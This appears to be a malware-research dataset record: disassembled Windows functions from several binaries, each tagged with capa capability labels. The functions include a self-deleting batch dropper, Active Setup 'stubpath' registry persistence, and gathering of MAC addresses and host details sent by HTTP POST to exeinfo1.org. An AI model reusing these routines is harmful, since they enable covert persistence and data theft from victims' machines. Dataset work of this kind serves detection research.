joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50dee8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, 0x50bc8c
call fcn.00407618
mov eax, dword [0x59b75c]
mov eax, dword [eax]
call fcn.00475a68
mov eax, 0x50e074
call fcn.0040a8c0
test al, al
jne 0x50df1f
mov eax, 0x50e074
call fcn.0040afcc
push 0x50e080
call sub.kernel32.dll_DeleteFileA
mov ecx, 0x50e09c
mov edx, 0x50e0b8
mov eax, 0x50e0c4
call fcn.0050bb7c
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4848b0]
call fcn.004894f4
mov ebx, eax
mov edx, 0x50e09c
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov edx, 0x50e074
mov eax, ebx
call fcn.00489c68
mov byte [ebx + 0x39], 1
mov byte [ebx + 0x50], 1
mov byte [ebx + 0x3a], 1
mov byte [ebx + 0x40], 1
xor eax, eax
push ebp
push 0x50df94
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0048a558
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x50dfbe
mov dl, 1
mov eax, 0x50e10c
call fcn.0050ba90
mov eax, dword [0x59b75c]
mov eax, dword [eax]
call fcn.00475954
xor eax, eax
push ebp
push 0x50e01e
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [0x59b95c]
mov eax, dword [0x59b75c]
mov eax, dword [eax]
mov edx, dword [0x509624]
call fcn.00475a80
mov ecx, dword [0x59b854]
mov eax, dword [0x59b75c]
mov eax, dword [eax]
mov edx, dword [0x5087d8]
call fcn.00475a80
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x50e03e
mov ecx, dword [0x59b9bc]
mov eax, dword [0x59b75c]
mov eax, dword [eax]
mov edx, dword [0x4f1970]
call fcn.00475a80
mov eax, dword [0x59b75c]
mov eax, dword [eax]
call fcn.00475b00
pop edi
pop esi
pop ebx
call fcn.004050f4
add byte [eax], al
Function at 0x40202e
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00404128
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40d944]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40d8f8]
test eax, eax
je 0x402159
lea eax, [ebp - 0x108]
push 0x40a9ac
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00404128
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402160
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004045a0
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402160
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4021f6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402260
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402260
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.004045a0
cmp eax, 0x26
pop ecx
je 0x402260
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004040d0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x402264
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022b7
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4022b7
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.004045a0
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4022bb
xor eax, eax
jmp 0x4022c5
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x4022c9
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404970
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d948]
test eax, eax
pop edi
jne 0x402393
lea eax, [ebp - 0x108]
push eax
call fcn.004045a0
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x402397
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d94c]
push 1
pop eax
leave
ret

Function at 0x40269d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404970
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004021f6
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d96c
call dword [0x40d958]
test eax, eax
pop edi
je 0x402734
lea eax, [ebp - 0x208]
push eax
call fcn.004022c9
pop ecx
leave
ret
Function at 0x403346
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.004040d0
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403420
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.00404128
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4033cc
push str.socket_Error
jmp 0x403413
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.004040d0
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x40341e
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x403420
mov eax, esi
pop esi
leave
ret

Function at 0x403423
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.004040d0
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.004045a0
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x40346e
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x403488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x760
call fcn.0040120b
call fcn.0040329f
call fcn.004032d7
test eax, eax
mov dword [0x40d924], 0x40a030
jne 0x4034b8
mov dword [0x40d924], 0x40a0b0
lea eax, [ebp - 0x360]
push ebx
push eax
push 0x104
call dword [0x40d968]
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x25c]
push str._s_ver.exe
push eax
call fcn.00404128
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x25c]
push 4
push ebx
push eax
call dword [0x40d964]
call fcn.004021de
test eax, eax
jne 0x40354d
push 0x400
lea eax, [ebp - 0x760]
push ebx
push eax
call fcn.004040d0
lea eax, [ebp - 0x760]
push eax
call fcn.00403dd8
push 0x50
push str.exeinfo1.org
call fcn.00403346
lea ecx, [ebp - 0x760]
push ebx
push ecx
push eax
call fcn.00403423
add esp, 0x24
call fcn.0040320c
call fcn.0040202e
xor eax, eax
jmp 0x40360c
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4035c6
push str.start
push dword [ebp + 0x10]
call fcn.004044e0
pop ecx
test eax, eax
pop ecx
je 0x4035c6
push edi
call fcn.00403277
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
push eax
push 0x40d96c
call fcn.004021f6
lea eax, [ebp - 0x158]
push eax
call fcn.004045a0
add esp, 0xc
cmp eax, 0x26
pop edi
jne 0x4035bc
lea eax, [ebp - 0x158]
push eax
call fcn.0040247d
pop ecx
call fcn.0040320c
push 1
pop eax
jmp 0x40360c
push esi
push 0x44
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.004040d0
mov esi, 0x40d96c
push str.__start
push esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 5
call fcn.00404970
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403611
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x284]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4036aa
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4036b3
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4036a3
mov eax, dword [0x40ea74]
mov ecx, dword [esi + 0x190]
lea edx, [ecx + eax]
cmp edx, 0x1000
jae 0x40369d
push ecx
lea ecx, [esi + 0x194]
lea eax, [eax + 0x40da74]
push ecx
push eax
call fcn.00404620
mov eax, dword [0x40ea74]
add esp, 0xc
add eax, dword [esi + 0x190]
mov dword [0x40ea74], eax
mov esi, dword [esi]
test esi, esi
jne 0x40365f
push 1
pop eax
pop esi
leave
ret
add eax, 0xf0000000
jmp 0x4036af
add eax, 0xe0000000
test eax, eax
je 0x40369d
xor eax, eax
jmp 0x4036a0
Function at 0x40390f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], pe_overlay
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403a38
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push pe_overlay
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403a38
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040377e
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.004037f1
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a13
lea eax, [ebp - 4]
push eax
call fcn.00403864
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403a31
mov eax, dword [0x40ea74]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40da74]
push eax
call fcn.00404620
add esp, 0xc
add dword [0x40ea74], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403dd8
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004041b0
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad10]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40da70], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403f96
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40da70]
call fcn.00403611
call fcn.004036b7
call fcn.0040390f
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004040d0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40ea74], edi
jbe 0x403e8b
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40da74]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404128
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40ea74]
jb 0x403e66
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004040d0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004040d0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004040d0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403cf7
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004040d0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403a3d
lea eax, [ebp - 0x484]
push eax
call fcn.004045a0
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.004045a0
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.004045a0
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404128
add esp, 0x24
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002520
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x1000253f
push 0
push 0
push dword [ebp + 8]
push 0x100012c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x10002a70
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1003f112
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 4]
mov dword [esp + 8], esi
mov dword [esi], vtable.SJXr.hQT0yssCNk_JIi_ByYmVi0HQ_iS8F_JnP_uTK9Eb_t3gda_F.0
call dword [0x1004505c]
xor ebx, ebx
lea eax, [esi + 0x30]
mov dword [esp + 0x14], ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x50], 8
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x54], ebx
mov byte [esi + 0x58], bl
lea ecx, [esi + 0x68]
mov byte [esp + 0x14], 1
call fcn.1000b870
lea ecx, [esi + 0x6c]
mov byte [esp + 0x14], 2
call dword [0x1004505c]
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x5c], ebx
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x10002dd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1003f12c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 4]
mov dword [esp + 8], esi
mov dword [esi], vtable.ssCNk_JIi_ByYmVi0HQ_iS8F_JnP_uTK9Eb_t3gda_F.0
call dword [0x1004505c]
xor ebx, ebx
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], ebx
call dword [0x1004505c]
lea eax, [esi + 0x58]
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], ebx
mov dword [esi + 0x6c], ebx
mov byte [esi + 0x70], bl
mov eax, 8
mov dword [esi + 0x68], eax
lea ecx, [esi + 0x7c]
mov dword [esi + 0x8c], eax
mov dword [esi + 0x74], ecx
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x78], ebx
mov dword [esi + 0x90], ebx
mov byte [esi + 0x94], bl
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x10005340
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x1003f379
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], vtable.ByYmVi0HQ_iS8F_JnP_uTK9Eb_t3gda_F.0
lea ecx, [esi + 0x90]
mov dword [esp + 0x18], 5
call dword [0x10045108]
lea ecx, [esi + 0x8c]
mov byte [esp + 0x18], 4
call fcn.1000b880
lea ecx, [esi + 0x68]
mov byte [esp + 0x18], 3
call dword [0x10045108]
lea ecx, [esi + 0x4c]
mov byte [esp + 0x18], 2
call dword [0x10045108]
lea ecx, [esi + 0x30]
mov byte [esp + 0x18], 1
call dword [0x10045108]
mov eax, dword [esi + 0x24]
lea edi, [esi + 0x20]
xor ebx, ebx
cmp eax, ebx
mov byte [esp + 0x18], bl
je 0x100053df
mov edx, dword [esp + 0xc]
mov ecx, dword [edi + 8]
push edx
push edi
push ecx
push eax
call fcn.10004300
mov eax, dword [edi + 4]
push eax
call fcn.1003c05c
add esp, 0x14
lea ecx, [esi + 4]
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [esp + 0x18], 0xffffffff
call dword [0x10045108]
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret